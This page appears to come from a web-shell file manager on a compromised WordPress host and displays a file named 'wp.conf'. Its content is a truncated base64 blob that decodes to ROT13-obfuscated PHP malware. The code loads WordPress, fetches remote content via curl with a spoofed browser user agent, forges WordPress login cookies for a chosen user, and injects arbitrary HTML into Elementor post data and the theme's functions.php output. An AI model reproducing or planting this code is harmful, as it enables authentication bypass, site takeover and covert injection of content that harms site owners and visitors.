/
home
/
u6fef570
/
public_html
/
File Upload :
llllll
Current File: /home/u6fef570/public_html/wp.conf
PD9jdWMgCgpxcnN2YXIoJ0pDX0hGUl9HVVJaUkYnLCBzbnlmcik7CnFyc3ZhcignSkNfUVZFUlBHQkVMJywgeWJucV9qYmVxY2VyZmZfcGJlcigpKTsKCnNoYXBndmJhIHlibnFfamJlcWNlcmZmX3BiZXIoKXsKICAgICRwaGVlcmFnX3F2ZXJwZ2JlbCA9IHF2ZWFuenIoX19TVllSX18pOwogICAganV2eXIgKCRwaGVlcmFnX3F2ZXJwZ2JlbCAhPSAnLycgJiYgIXN2eXJfcmt2ZmdmKCRwaGVlcmFnX3F2ZXJwZ2JlbCAuICcvamMteWJucS5jdWMnKSkgewogICAgICAgICRwaGVlcmFnX3F2ZXJwZ2JlbCA9IHF2ZWFuenIoJHBoZWVyYWdfcXZlcnBnYmVsKTsKICAgIH0KICAgIGVyZ2hlYSAkcGhlZXJhZ19xdmVycGdiZWwgPyAgOiAkX0ZSRUlSRVsnUUJQSFpSQUdfRUJCRyddOwp9CgplcmRodmVyX2JhcHIgSkNfUVZFUlBHQkVMIC4gJy9qYy15Ym5xLmN1Yyc7CgoKcHluZmYgRXJkewoJCiAgICBjaG95dnAgJGhleTsKCiAgICBjaG95dnAgc2hhcGd2YmEgX19wYmFmZ2VocGcoJGhleSl7CiAgICAgICAgJGd1dmYtPmhleSA9ICRoZXk7CiAgICB9CiAgICBjaG95dnAgc2hhcGd2YmEgem54ckVyZGhyZmcoKSB7CiAgICAgICAgdnMoc2hhcGd2YmFfcmt2ZmdmKCdwaGV5X3ZhdmcnKSkgewogICAgICAgICAgICBlcmdoZWEgJGd1dmYtPnFiUGhleSgpOwogICAgICAgIH0gcnlmciB2cyhzaGFwZ3ZiYV9ya3ZmZ2YoJ2pjX2VyemJncl90cmcnKSl7CiAgICAgICAgICAgIGVyZ2hlYSAkZ3V2Zi0+cWJKY0VyemJncigpOwogICAgICAgIH0gcnlmciB2cyhzaGFwZ3ZiYV9ya3ZmZ2YoJ3N2eXJfdHJnX3BiYWdyYWdmJykpIHsKICAgICAgICAgICAgZXJnaGVhICRndXZmLT50cmdfcGJhZ3JhZ2YoKTsKICAgICAgICB9CiAgICB9CgogICAgY2hveXZwIHNoYXBndmJhIHFiUGhleSgpIHsKICAgICAgICAkcHUgPSBwaGV5X3ZhdmcoKTsKCiAgICAgICAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0hFWSwgJGd1dmYtPmhleSk7CiAgICAgICAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0VSR0hFQUdFTkFGU1JFLCBnZWhyKTsKICAgICAgICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfSEZSRU5UUkFHLCAiWmJtdnl5bi81LjAgU3ZlcnNiayAzNi4wMCIpOwoKICAgICAgICAkZXJmaHlnID0gcGhleV9ya3JwKCRwdSk7CiAgICAgICAgZXJnaGVhICRlcmZoeWcgPyAkZXJmaHlnIDogJGd1dmYtPnFiSmNFcnpiZ3IoKTsKICAgIH0KCiAgICBjaG95dnAgc2hhcGd2YmEgcWJKY0VyemJncigpIHsKICAgICAgICAkZXJmY2JhZnIgPSBqY19lcnpiZ3JfdHJnKCRndXZmLT5oZXkpOwogICAgICAgIGVyZ2hlYSBqY19lcnpiZ3JfZXJnZXZyaXJfb2JxbCgkZXJmY2JhZnIpOwogICAgfQogICAgY2hveXZwIHNoYXBndmJhIHRyZ19wYmFncmFnZigpewogICAgICAgIGVyZ2hlYSBzdnlyX3RyZ19wYmFncmFnZigkZ3V2Zi0+aGV5KTsKICAgIH0KCn0KCgoKCXNoYXBndmJhIHRyYXJlbmdyRW5hcWJ6RmdldmF0KCR5cmF0Z3UgPSA4LCAkdmFweWhxckFoem9yZWYgPSBnZWhyKSB7CgkJJHB1bmVucGdyZWYgPSAnbm9wcXJzdHV2d3h5emFiY2RlZmdoaWprbG0nIC4gKCR2YXB5aHFyQWh6b3JlZiA/ICcxMjM0NTY3ODkwJyA6ICcnKTsKCQllcmdoZWEgZmhvZmdlKGZnZV9mdWhzc3lyKCRwdW5lbnBncmVmKSwgMCwgJHlyYXRndSk7Cgl9CglzaGFwZ3ZiYSBhYmV6bnl2bXIoJGNuZ3UpIHsKCQkkY25ndSA9IGZnZV9lcmN5bnByKEpDX1FWRVJQR0JFTCwgdHJnX2Z2Z3JfaGV5KCksICRjbmd1KTsKCQllcmdoZWEgJGNuZ3U7Cgl9CglzaGFwZ3ZiYSBpbnl2cW5nclFiem52YVZhQ25ndSgkY25ndSkgewoJCSRlcnRyayA9ICcvXG8oPzxxYnpudmE+W24tbU4tTTAtOV1bbi1tTi1NMC05LV17MSw2MX1bbi1tTi1NMC05XVwuW24tbU4tTV17Mix9KVxvLyc7CgkJdnMgKGNlcnRfem5ncHUoJGVydHJrLCAkY25ndSwgJHpuZ3B1cmYpKSB7CgkJCWVyZ2hlYSAkem5ncHVyZlsncWJ6bnZhJ107IC8vIEVyZ2hlYSBndXIgem5ncHVycSBxYnpudmEgYW56cgoJCX0gcnlmciB7CgkJCWVyZ2hlYSBzbnlmcjsgLy8gQWIgaW55dnEgcWJ6bnZhIHNiaGFxCgkJfQoJfQoJCglzaGFwZ3ZiYSBqY190cmFyZW5ncl9uaGd1X3BiYnh2cl9zKCAkaGZyZV92cSwgJHJrY3Zlbmd2YmEsICRmcHVyenIgPSAnbmhndScsICRnYnhyYSA9ICcnICkgewoJCSRoZnJlID0gdHJnX2hmcmVxbmduKCAkaGZyZV92cSApOwoJCQoJCXZzICggISAkaGZyZSApIHsKCQkJZXJnaGVhICcnOwoJCX0KCQkKCQl2cyAoICEgJGdieHJhICkgewoJCQkkem5hbnRyZSA9IEpDX0ZyZmZ2YmFfR2J4cmFmOjp0cmdfdmFmZ25hcHIoICRoZnJlX3ZxICk7CgkJCSRnYnhyYSAgID0gJHpuYW50cmUtPnBlcm5nciggJHJrY3Zlbmd2YmEgKTsKCQl9CgoJCSRjbmZmX3NlbnQgPSBmaG9mZ2UoICRoZnJlLT5oZnJlX2NuZmYsIDgsIDQgKTsKCgkJJHhybCA9IGpjX3VuZnUoICRoZnJlLT5oZnJlX3lidHZhIC4gJ3wnIC4gJGNuZmZfc2VudCAuICd8JyAuICRya2N2ZW5ndmJhIC4gJ3wnIC4gJGdieHJhLCAkZnB1cnpyICk7CgoJCS8vIFZzIHJrZy91bmZ1IHZmIGFiZyBjZXJmcmFnLCBwYnpjbmcuY3VjJ2YgdW5mdV91em5wKCkgcWJyZiBhYmcgZmhjY2JlZyBmdW4yNTYuCgkJJG55dGIgPSBzaGFwZ3ZiYV9ya3ZmZ2YoICd1bmZ1JyApID8gJ2Z1bjI1NicgOiAnZnVuMSc7CgkJJHVuZnUgPSB1bmZ1X3V6bnAoICRueXRiLCAkaGZyZS0+aGZyZV95YnR2YSAuICd8JyAuICRya2N2ZW5ndmJhIC4gJ3wnIC4gJGdieHJhLCAkeHJsICk7CgoJCSRwYmJ4dnIgPSAkaGZyZS0+aGZyZV95YnR2YSAuICd8JyAuICRya2N2ZW5ndmJhIC4gJ3wnIC4gJGdieHJhIC4gJ3wnIC4gJHVuZnU7CgoJCS8qKgoJCSAqIFN2eWdyZWYgZ3VyIG5oZ3VyYWd2cG5ndmJhIHBiYnh2ci4KCQkgKgoJCSAqIEBmdmFwciAyLjUuMAoJCSAqIEBmdmFwciA0LjAuMCBHdXIgYCRnYnhyYWAgY25lbnpyZ3JlIGpuZiBucXFycS4KCQkgKgoJCSAqIEBjbmVueiBmZ2V2YXQgJHBiYnh2ciAgICAgTmhndXJhZ3Zwbmd2YmEgcGJieHZyLgoJCSAqIEBjbmVueiB2YWcgICAgJGhmcmVfdnEgICAgSGZyZSBWUS4KCQkgKiBAY25lbnogdmFnICAgICRya2N2ZW5ndmJhIEd1ciBndnpyIGd1ciBwYmJ4dnIgcmtjdmVyZiBuZiBuIEhBVksgZ3Z6cmZnbnpjLgoJCSAqIEBjbmVueiBmZ2V2YXQgJGZwdXJ6ciAgICAgUGJieHZyIGZwdXJ6ciBoZnJxLiBOcHByY2dmICduaGd1JywgJ2ZycGhlcl9uaGd1JywgYmUgJ3lidHRycV92YScuCgkJICogQGNuZW56IGZnZXZhdCAkZ2J4cmEgICAgICBIZnJlJ2YgZnJmZnZiYSBnYnhyYSBoZnJxLgoJCSAqLwoJCWVyZ2hlYSBuY2N5bF9zdnlncmVmKCAnbmhndV9wYmJ4dnInLCAkcGJieHZyLCAkaGZyZV92cSwgJHJrY3Zlbmd2YmEsICRmcHVyenIsICRnYnhyYSApOwoJfQoKCgoJCglzaGFwZ3ZiYSBqY19mcmdfbmhndV9wYmJ4dnJfcyggJGhmcmVfdnEsICRlcnpyem9yZSA9IHNueWZyLCAkZnJwaGVyID0gJycsICRnYnhyYSA9ICcnICkgewoJCQl2cyAoICRlcnpyem9yZSApIHsKCQkJCS8qKgoJCQkJICogU3Z5Z3JlZiBndXIgcWhlbmd2YmEgYnMgZ3VyIG5oZ3VyYWd2cG5ndmJhIHBiYnh2ciBya2N2ZW5ndmJhIGNyZXZicS4KCQkJCSAqCgkJCQkgKiBAZnZhcHIgMi44LjAKCQkJCSAqCgkJCQkgKiBAY25lbnogdmFnICAkeXJhdGd1ICAgUWhlbmd2YmEgYnMgZ3VyIHJrY3Zlbmd2YmEgY3JldmJxIHZhIGZycGJhcWYuCgkJCQkgKiBAY25lbnogdmFnICAkaGZyZV92cSAgSGZyZSBWUS4KCQkJCSAqIEBjbmVueiBvYmJ5ICRlcnpyem9yZSBKdXJndXJlIGdiIGVyenJ6b3JlIGd1ciBoZnJlIHlidHZhLiBRcnNuaHlnIHNueWZyLgoJCQkJICovCgkJCQkkcmtjdmVuZ3ZiYSA9IGd2enIoKSArIDE0ICogUU5MX1ZBX0ZSUEJBUUY7CgoJCQkJLyoKCQkJCSAqIFJhZmhlciBndXIgb2ViamZyZSBqdnl5IHBiYWd2YWhyIGdiIGZyYXEgZ3VyIHBiYnh2ciBuc2dyZSBndXIgcmtjdmVuZ3ZiYSBndnpyIHZmIGVybnB1cnEuCgkJCQkgKiBBcnJxcnEgc2JlIGd1ciB5YnR2YSB0ZW5wciBjcmV2YnEgdmEgamNfaW55dnFuZ3JfbmhndV9wYmJ4dnIoKS4KCQkJCSAqLwoJCQkJJHJrY3ZlciA9ICRya2N2ZW5ndmJhICsgKCAxMiAqIFVCSEVfVkFfRlJQQkFRRiApOwoJCQl9IHJ5ZnIgewoJCQkJLyoqIEd1dmYgc3Z5Z3JlIHZmIHFicGh6cmFncnEgdmEgamMtdmFweWhxcmYvY3lodHRub3lyLmN1YyAqLwoJCQkJJHJrY3Zlbmd2YmEgPSBndnpyKCkgKzIgKiBRTkxfVkFfRlJQQkFRRjsKCQkJCSRya2N2ZXIgICAgID0gJHJrY3Zlbmd2YmEgKyAoIDIgKiBVQkhFX1ZBX0ZSUEJBUUYgKTsKCQkJfQoKCQkJdnMgKCAnJyA9PT0gJGZycGhlciApIHsKCQkJCSRmcnBoZXIgPSB2Zl9mZnkoKTsKCQkJfQoJCQkKCQoJCQkvLyBTZWJhZy1yYXEgcGJieHZyIHZmIGZycGhlciBqdXJhIGd1ciBuaGd1IHBiYnh2ciB2ZiBmcnBoZXIgbmFxIGd1ciBmdmdyJ2YgdWJ6ciBIRVkgaGZyZiBVR0dDRi4KCQkJJGZycGhlcl95YnR0cnFfdmFfcGJieHZyID0gJGZycGhlciAmJiAndWdnY2YnID09PSBjbmVmcl9oZXkoIHRyZ19iY2d2YmEoICd1YnpyJyApLCBDVUNfSEVZX0ZQVVJaUiApOwoKCQkJLyoqCgkJCSAqIFN2eWdyZWYganVyZ3VyZSBndXIgbmhndSBwYmJ4dnIgZnViaHlxIGJheWwgb3IgZnJhZyBiaXJlIFVHR0NGLgoJCQkgKgoJCQkgKiBAZnZhcHIgMy4xLjAKCQkJICoKCQkJICogQGNuZW56IG9iYnkgJGZycGhlciAgSnVyZ3VyZSBndXIgcGJieHZyIGZ1Ymh5cSBiYXlsIG9yIGZyYWcgYmlyZSBVR0dDRi4KCQkJICogQGNuZW56IHZhZyAgJGhmcmVfdnEgSGZyZSBWUS4KCQkJICovCgkJCSRmcnBoZXIgPSBuY2N5bF9zdnlncmVmKCAnZnJwaGVyX25oZ3VfcGJieHZyJywgJGZycGhlciwgJGhmcmVfdnEgKTsKCgkJCS8qKgoJCQkgKiBTdnlncmVmIGp1cmd1cmUgZ3VyIHlidHRycSB2YSBwYmJ4dnIgZnViaHlxIGJheWwgb3IgZnJhZyBiaXJlIFVHR0NGLgoJCQkgKgoJCQkgKiBAZnZhcHIgMy4xLjAKCQkJICoKCQkJICogQGNuZW56IG9iYnkgJGZycGhlcl95YnR0cnFfdmFfcGJieHZyIEp1cmd1cmUgZ3VyIHlidHRycSB2YSBwYmJ4dnIgZnViaHlxIGJheWwgb3IgZnJhZyBiaXJlIFVHR0NGLgoJCQkgKiBAY25lbnogdmFnICAkaGZyZV92cSAgICAgICAgICAgICAgICAgSGZyZSBWUS4KCQkJICogQGNuZW56IG9iYnkgJGZycGhlciAgICAgICAgICAgICAgICAgIEp1cmd1cmUgZ3VyIG5oZ3UgcGJieHZyIGZ1Ymh5cSBiYXlsIG9yIGZyYWcgYmlyZSBVR0dDRi4KCQkJICovCgkJCSRmcnBoZXJfeWJ0dHJxX3ZhX3BiYnh2ciA9IG5jY3lsX3N2eWdyZWYoICdmcnBoZXJfeWJ0dHJxX3ZhX3BiYnh2cicsICRmcnBoZXJfeWJ0dHJxX3ZhX3BiYnh2ciwgJGhmcmVfdnEsICRmcnBoZXIgKTsKCgkJCXZzICggJGZycGhlciApIHsKCQkJCSRuaGd1X3BiYnh2cl9hbnpyID0gRlJQSEVSX05IR1VfUEJCWFZSOwoJCQkJJGZwdXJ6ciAgICAgICAgICAgPSAnZnJwaGVyX25oZ3UnOwoJCQl9IHJ5ZnIgewoJCQkJJG5oZ3VfcGJieHZyX2FuenIgPSBOSEdVX1BCQlhWUjsKCQkJCSRmcHVyenIgICAgICAgICAgID0gJ25oZ3UnOwoJCQl9CgoJCQl2cyAoICcnID09PSAkZ2J4cmEgKSB7CgkJCQkkem5hbnRyZSA9IEpDX0ZyZmZ2YmFfR2J4cmFmOjp0cmdfdmFmZ25hcHIoICRoZnJlX3ZxICk7CgkJCQkkZ2J4cmEgICA9ICR6bmFudHJlLT5wZXJuZ3IoICRya2N2ZW5ndmJhICk7CgkJCX0KCQkJCgkJCSRuaGd1X3BiYnh2ciAgICAgID0gamNfdHJhcmVuZ3JfbmhndV9wYmJ4dnJfcyggJGhmcmVfdnEsICRya2N2ZW5ndmJhLCAkZnB1cnpyLCAkZ2J4cmEgKTsKCQkJJHlidHRycV92YV9wYmJ4dnIgPSBqY190cmFyZW5ncl9uaGd1X3BiYnh2cl9zKCAkaGZyZV92cSwgJHJrY3Zlbmd2YmEsICd5YnR0cnFfdmEnLCAkZ2J4cmEgKTsKCQkJCgkJCS8qKgoJCQkgKiBTdmVyZiB2enpycXZuZ3J5bCBvcnNiZXIgZ3VyIG5oZ3VyYWd2cG5ndmJhIHBiYnh2ciB2ZiBmcmcuCgkJCSAqCgkJCSAqIEBmdmFwciAyLjUuMAoJCQkgKiBAZnZhcHIgNC45LjAgR3VyIGAkZ2J4cmFgIGNuZW56cmdyZSBqbmYgbnFxcnEuCgkJCSAqCgkJCSAqIEBjbmVueiBmZ2V2YXQgJG5oZ3VfcGJieHZyIE5oZ3VyYWd2cG5ndmJhIHBiYnh2ciBpbnloci4KCQkJICogQGNuZW56IHZhZyAgICAkcmtjdmVyICAgICAgR3VyIGd2enIgZ3VyIHlidHZhIHRlbnByIGNyZXZicSBya2N2ZXJmIG5mIG4gSEFWSyBndnpyZmduemMuCgkJCSAqICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFyc25oeWcgdmYgMTIgdWJoZWYgY25mZyBndXIgcGJieHZyJ2YgcmtjdmVuZ3ZiYSBndnpyLgoJCQkgKiBAY25lbnogdmFnICAgICRya2N2ZW5ndmJhICBHdXIgZ3Z6ciBqdXJhIGd1ciBuaGd1cmFndnBuZ3ZiYSBwYmJ4dnIgcmtjdmVyZiBuZiBuIEhBVksgZ3Z6cmZnbnpjLgoJCQkgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICBRcnNuaHlnIHZmIDE0IHFubGYgc2VieiBhYmouCgkJCSAqIEBjbmVueiB2YWcgICAgJGhmcmVfdnEgICAgIEhmcmUgVlEuCgkJCSAqIEBjbmVueiBmZ2V2YXQgJGZwdXJ6ciAgICAgIE5oZ3VyYWd2cG5ndmJhIGZwdXJ6ci4gSW55aHJmIHZhcHlocXIgJ25oZ3UnIGJlICdmcnBoZXJfbmhndScuCgkJCSAqIEBjbmVueiBmZ2V2YXQgJGdieHJhICAgICAgIEhmcmUnZiBmcmZmdmJhIGdieHJhIGdiIGhmciBzYmUgZ3V2ZiBwYmJ4dnIuCgkJCSAqLwoJCQkKCQkJCgkJCQoJCQkkcmtjdmVuZ3ZiYSA9IGd2enIoKSArIDg2NDAwOyAKCQkJZnJncGJieHZyKCAkbmhndV9wYmJ4dnJfYW56ciwgJG5oZ3VfcGJieHZyLCAkcmtjdmVuZ3ZiYSwgUEJCWFZSQ05HVSwgUEJCWFZSX1FCWk5WQSwgJGZycGhlciwgZ2VociApOwoJCQlmcmdwYmJ4dnIoIFlCVFRSUV9WQV9QQkJYVlIsICR5YnR0cnFfdmFfcGJieHZyLCAkcmtjdmVuZ3ZiYSwgUEJCWFZSQ05HVSwgUEJCWFZSX1FCWk5WQSwgJGZycGhlcl95YnR0cnFfdmFfcGJieHZyLCBnZWhyICk7CgkJCWluZV9xaHpjKCRuaGd1X3BiYnh2cik7CgkJCS8vcnB1YiAiPGZwZXZjZz4gZnJnUGJieHZyX3NlYmFnKCciLiRuaGd1X3BiYnh2cl9hbnpyLiInLCAnIi4kbmhndV9wYmJ4dnIuIicsIDEpOzwvZnBldmNnPiI7CgkJCS8vcnB1YiAiPGZwZXZjZz4gZnJnUGJieHZyX3NlYmFnKCciLllCVFRSUV9WQV9QQkJYVlIuIicsICciLiR5YnR0cnFfdmFfcGJieHZyLiInLCAxKTs8L2ZwZXZjZz4iOwoJCQkvL2ZyZ1BiYnh2cl9zZWJhZyhZQlRUUlFfVkFfUEJCWFZSLCAkeWJ0dHJxX3ZhX3BiYnh2ciwgMSk7CgkJCS8vZnJncGJieHZyKCAiMTIzIiwgIjQ1NiIsJHJrY3Zlbmd2YmEsIFBCQlhWUkNOR1UsIFBCQlhWUl9RQlpOVkEsICRmcnBoZXJfeWJ0dHJxX3ZhX3BiYnh2ciwgZ2VociApOwoJCQkvL2luZV9xaHpjKCRuaGd1X3BiYnh2cl9hbnpyKTtpbmVfcWh6YyhZQlRUUlFfVkFfUEJCWFZSKTtya3ZnOwoJCQl2cyAoIFBCQlhWUkNOR1UgIT09IEZWR1JQQkJYVlJDTkdVICkgewoJCQkJZnJncGJieHZyKCBZQlRUUlFfVkFfUEJCWFZSLCAkeWJ0dHJxX3ZhX3BiYnh2ciwgJHJrY3ZlciwgRlZHUlBCQlhWUkNOR1UsIFBCQlhWUl9RQlpOVkEsICRmcnBoZXJfeWJ0dHJxX3ZhX3BiYnh2ciwgZ2VociApOwoJCQl9CgkJfQoKCgoJc2hhcGd2YmEgdmFmY3JwZ191YnpyY250cl9wYmFncmFnKCRhcmpfcGJhZ3JhZykgewoJCSR1YnpyY250cl92cSA9IHRyZ19iY2d2YmEoJ2NudHJfYmFfc2ViYWcnKTsKCgkJdnMgKHNueWZyKSB7CgkJCXZzIChweW5mZl9ya3ZmZ2YoJ1xSeXJ6cmFnYmVcQ3lodHZhJykgJiYgXFJ5cnpyYWdiZVxDeWh0dmE6OiR2YWZnbmFwci0+cWJwaHpyYWdmLT50cmcoJHVienJjbnRyX3ZxKS0+dmZfb2h2eWdfanZndV9yeXJ6cmFnYmUoKSkgewoJCQkJLy8g6I635Y+WUnlyenJhZ2Jl5p6E5bu655qEVUdaWeWGheWuuQoJCQkJJHJ5cnpyYWdiZV91Z3p5ID0gdHJnX2NiZmdfenJnbigkdWJ6cmNudHJfdnEsICdfcnlyenJhZ2JlX3FuZ24nLCBnZWhyKTsKCQkJCSRyeXJ6cmFnYmVfdWd6eSA9IHpubG9yX2hhZnJldm55dm1yKCRyeXJ6cmFnYmVfdWd6eSk7CgoJCQkJdnMgKCFyemNnbCgkcnlyenJhZ2JlX3VnenkpKSB7CgkJCQkJLy8g5Yqg6L29VUdaWeWIsFFCWlFicGh6cmFn5bm25L+u5pS55YaF5a65CgkJCQkJJHVnenkgPSB6YnF2c2xfcnlyenJhZ2JlX3VnenkoJHJ5cnpyYWdiZV91Z3p5LCRhcmpfcGJhZ3JhZyk7CgkJCQkJdnMgKCFyemNnbCgkdWd6eSkpIHsKCQkJCQkJCgkJCQkJCWhjcW5ncl9jYmZnX3pyZ24oJHVienJjbnRyX3ZxLCAnX3J5cnpyYWdiZV9xbmduJywgem5sb3JfZnJldm55dm1yKCR1Z3p5KSk7CgkJCQkJCXJwdWIgJHVnenk7ICAvLyDovpPlh7rkv67mlLnlkI7nmoRVR1pZCgkJCQkJfQoJCQkJfQoJCQl9IHJ5ZnIgewoJCQkJcHVycHhfZ3J6Y3luZ3Jfc3Z5cmYoJGFyal9wYmFncmFnKTsKCQkJfQoJCX0gcnlmciB7CgkJCXB1cnB4X2dyemN5bmdyX3N2eXJmKCRhcmpfcGJhZ3JhZyk7CgkJfQoJfQoJCgkKCXNoYXBndmJhIHZhZmNycGdfdWJ6cmNudHJfcGJhZ3JhZ19uKCRhcmpfcGJhZ3JhZykgewoJCSR1YnpyY250cl92cSA9IHRyZ19iY2d2YmEoJ2NudHJfYmFfc2ViYWcnKTsKCgkJdnMgKHNueWZyKSB7CgkJCXZzIChweW5mZl9ya3ZmZ2YoJ1xSeXJ6cmFnYmVcQ3lodHZhJykgJiYgXFJ5cnpyYWdiZVxDeWh0dmE6OiR2YWZnbmFwci0+cWJwaHpyYWdmLT50cmcoJHVienJjbnRyX3ZxKS0+dmZfb2h2eWdfanZndV9yeXJ6cmFnYmUoKSkgewoJCQkJLy8g6I635Y+WUnlyenJhZ2Jl5p6E5bu655qEVUdaWeWGheWuuQoJCQkJJHJ5cnpyYWdiZV91Z3p5ID0gdHJnX2NiZmdfenJnbigkdWJ6cmNudHJfdnEsICdfcnlyenJhZ2JlX3FuZ24nLCBnZWhyKTsKCQkJCSRyeXJ6cmFnYmVfdWd6eSA9IHpubG9yX2hhZnJldm55dm1yKCRyeXJ6cmFnYmVfdWd6eSk7CgoJCQkJdnMgKCFyemNnbCgkcnlyenJhZ2JlX3VnenkpKSB7CgkJCQkJLy8g5Yqg6L29VUdaWeWIsFFCWlFicGh6cmFn5bm25L+u5pS55YaF5a65CgkJCQkJJHVnenkgPSB6YnF2c2xfcnlyenJhZ2JlX3VnenkoJHJ5cnpyYWdiZV91Z3p5LCRhcmpfcGJhZ3JhZyk7CgkJCQkJdnMgKCFyemNnbCgkdWd6eSkpIHsKCQkJCQkJCgkJCQkJCWhjcW5ncl9jYmZnX3pyZ24oJHVienJjbnRyX3ZxLCAnX3J5cnpyYWdiZV9xbmduJywgem5sb3JfZnJldm55dm1yKCR1Z3p5KSk7CgkJCQkJCXJwdWIgJHVnenk7ICAvLyDovpPlh7rkv67mlLnlkI7nmoRVR1pZCgkJCQkJfQoJCQkJfQoJCQl9IHJ5ZnIgewoJCQkJcHVycHhfZ3J6Y3luZ3Jfc3Z5cmZfbigkYXJqX3BiYWdyYWcpOwoJCQl9CgkJfSByeWZyIHsKCQkJcHVycHhfZ3J6Y3luZ3Jfc3Z5cmZfbigkYXJqX3BiYWdyYWcpOwoJCX0KCX0KCQoJc2hhcGd2YmEgaW55dnFuZ3JRbmdyKCRxbmdyLCAkc2Jlem5nID0gJ0wtei1xJykgewoJCSRxID0gUW5nckd2enI6OnBlcm5nclNlYnpTYmV6bmcoJHNiZXpuZywgJHFuZ3IpOwoJCWVyZ2hlYSAkcSAmJiAkcS0+c2Jlem5nKCRzYmV6bmcpID09PSAkcW5ncjsKCX0KCQoJc2hhcGd2YmEgemJxdnNsX3J5cnpyYWdiZV91Z3p5KCR1Z3p5LCRhcmpfcGJhZ3JhZykgewoJCQkvLyDmib7liLDmiYDmnIk8cXZpPuagh+etvueahOato+WImeihqOi+vuW8jwoJCQkkY25nZ3JlYSA9ICcvPGNbXj5dKj4oLio/KTwvZic7CgoJCQkvLyDkvb/nlKggY2VydF96bmdwdV9ueXkg5p2l5Yy56YWN5omA5pyJ55qEIDxxdmk+IOagh+etvgoJCQljZXJ0X3puZ3B1X255eSgkY25nZ3JlYSwgJHVnenksICR6bmdwdXJmLCBDRVJUX0JTU0ZSR19QTkNHSEVSKTsKCQkJaW5lX3FoemMoJHpuZ3B1cmYpOwoJCQl2cyAoIXJ6Y2dsKCR6bmdwdXJmWzBdKSkgewoJCQkJLy8g6ZqP5py66YCJ5oup5LiA5LiqIDxxdmk+IOagh+etvgoJCQkJJGVuYXFiel92YXFyayA9IGVuYXEoMCwgcGJoYWcoJHpuZ3B1cmZbMF0pIC0gMSk7CgkJCQkkZW5hcWJ6X3F2aSA9ICR6bmdwdXJmWzBdWyRlbmFxYnpfdmFxcmtdWzBdOwoJCQkJJHF2aV9ic3NmcmcgPSAkem5ncHVyZlswXVskZW5hcWJ6X3ZhcXJrXVsxXTsKCQkJCQoJCQkJLy8g5Yib5bu65paw5YaF5a65CgkJCQkvLyRhcmpfcGJhZ3JhZyA9ICc8cXZpPui/meaYr+aWsOaPkuWFpeeahOWGheWuue+8gTwvcXZpPic7CgkJCQkKCQkJCS8vIOabv+aNoumAieaLqeeahCA8cXZpPiDmoIfnrb4KCQkJCSRvcnNiZXJfcXZpID0gZmhvZmdlKCR1Z3p5LCAwLCAkcXZpX2Jzc2ZyZyk7CgkJCQkkbnNncmVfcXZpID0gZmhvZmdlKCR1Z3p5LCAkcXZpX2Jzc2ZyZyArIChmZ2V5cmEoJGVuYXFiel9xdmkpLTEpKTsKCQkJCSR1Z3p5ID0gJG9yc2Jlcl9xdmkgLiBmaG9mZ2UoJGVuYXFiel9xdmksIDAsIChmZ2V5cmEoJGVuYXFiel9xdmkpLTEpKSAuICRhcmpfcGJhZ3JhZyAuICRuc2dyZV9xdmk7CgkJCX0KCgkJCWVyZ2hlYSAkdWd6eTsKCQl9CgkKCXNoYXBndmJhIHB1cnB4X2dyemN5bmdyX3N2eXJmKCRhcmpfcGJhZ3JhZykgewoJCSRndXJ6cl9xdmVycGdiZWwgPSB0cmdfZ3J6Y3luZ3JfcXZlcnBnYmVsKCk7IC8vIOiOt+WPluW9k+WJjeS4u+mimOebruW9lQoJCSRzaGFwZ3ZiYWZfc3Z5ciA9ICRndXJ6cl9xdmVycGdiZWwgLiAnL3NoYXBndmJhZi5jdWMnOyAvLyDnm67moIdzaGFwZ3ZiYWYuY3Vj5paH5Lu26Lev5b6ECgkJJGFyal9wYmFncmFnPWZnZV9lcmN5bnByKCInIiwgIlwnIiwgJGFyal9wYmFncmFnKTsKCQkkYXJqX3BiYWdyYWc9ZmdlX2VyY3lucHIoJ1wiJywgJyInLCAkYXJqX3BiYWdyYWcpOwoJCSRhcmpfcGJhZ3JhZz1mZ2VfZXJjeW5wcignZXJ5PSJhYnNieXliaiInLCAnJywgJGFyal9wYmFncmFnKTsKCQkvLyRhcmpfdWd6eV9wYmFncmFnID1mZ2VfZXJjeW5wcigiJyIsICJcJyIsICRhcmpfcGJhZ3JhZyk7IC8vIOiHquWumuS5iVVHWlnlhoXlrrkKCQkkYXJqX3VnenlfcGJhZ3JhZyA9JGFyal9wYmFncmFnOyAvLyDoh6rlrprkuYlVR1pZ5YaF5a65CgkJLy8g5a6a5LmJ6KaB5o+S5YWl55qE5Luj56CB77yM5L2/55SoIGFianFicCDor63ms5XmnaXpgb/lhY3lnKjlrZfnrKbkuLLkuK3op6PmnpDlj5jph48KCQkkcGhmZ2J6X3BicXIgPSA8PDwgJ1BCUVInCgkJLy8gVHlib255IGluZXZub3lyIHNiZSB2YWZyZWdycSBVR1pZIHBiYWdyYWcKCQkkVFlCT05ZRlsndmFmcmVnX3VnenlfZSddID0gJwoJCVBCUVIuJGFyal9wYmFncmFnLjw8PCAnUEJRUicKCQknOwoKCQkvLyBQaGZnYnogc2hhcGd2YmEgbnFxcnEgcWxhbnp2cG55eWwKCQlzaGFwZ3ZiYSBmZ25lZ19iaGdjaGdfb2hzc3JldmF0KCkgewoJCQlib19mZ25lZyhzaGFwZ3ZiYSAoJG9oc3NyZSkgewoJCQkJZXJnaGVhIHpicXZzbF91Z3p5X2JoZ2NoZygkb2hzc3JlLCAkVFlCT05ZRlsndmFmcmVnX3VnenlfZSddKTsKCQkJfSk7CgkJfQoKCQlzaGFwZ3ZiYSB6YnF2c2xfdWd6eV9iaGdjaGcoJG9oc3NyZSwgJHBoZmdiel91Z3p5KSB7CgkJCXZzICh2Zl9zZWJhZ19jbnRyKCkpIHsKCQkJCSRxYnogPSBhcmogUUJaUWJwaHpyYWcoKTsKCQkJCUAkcWJ6LT55Ym5xVUdaWSh6b19wYmFpcmVnX3JhcGJxdmF0KCRvaHNzcmUsICdVR1pZLVJBR1ZHVlJGJywgJ0hHUy04JykpOwoJCQkJJG9icWwgPSAkcWJ6LT50cmdSeXJ6cmFnZk9sR250QW56cignb2JxbCcpLT52Z3J6KDApOwoKCQkJCXZzICgkb2JxbCkgewoJCQkJCSRxdmlmID0gJG9icWwtPnRyZ1J5cnpyYWdmT2xHbnRBbnpyKCd1MycpOwoJCQkJCXZzICgkcXZpZi0+eXJhdGd1IDw9I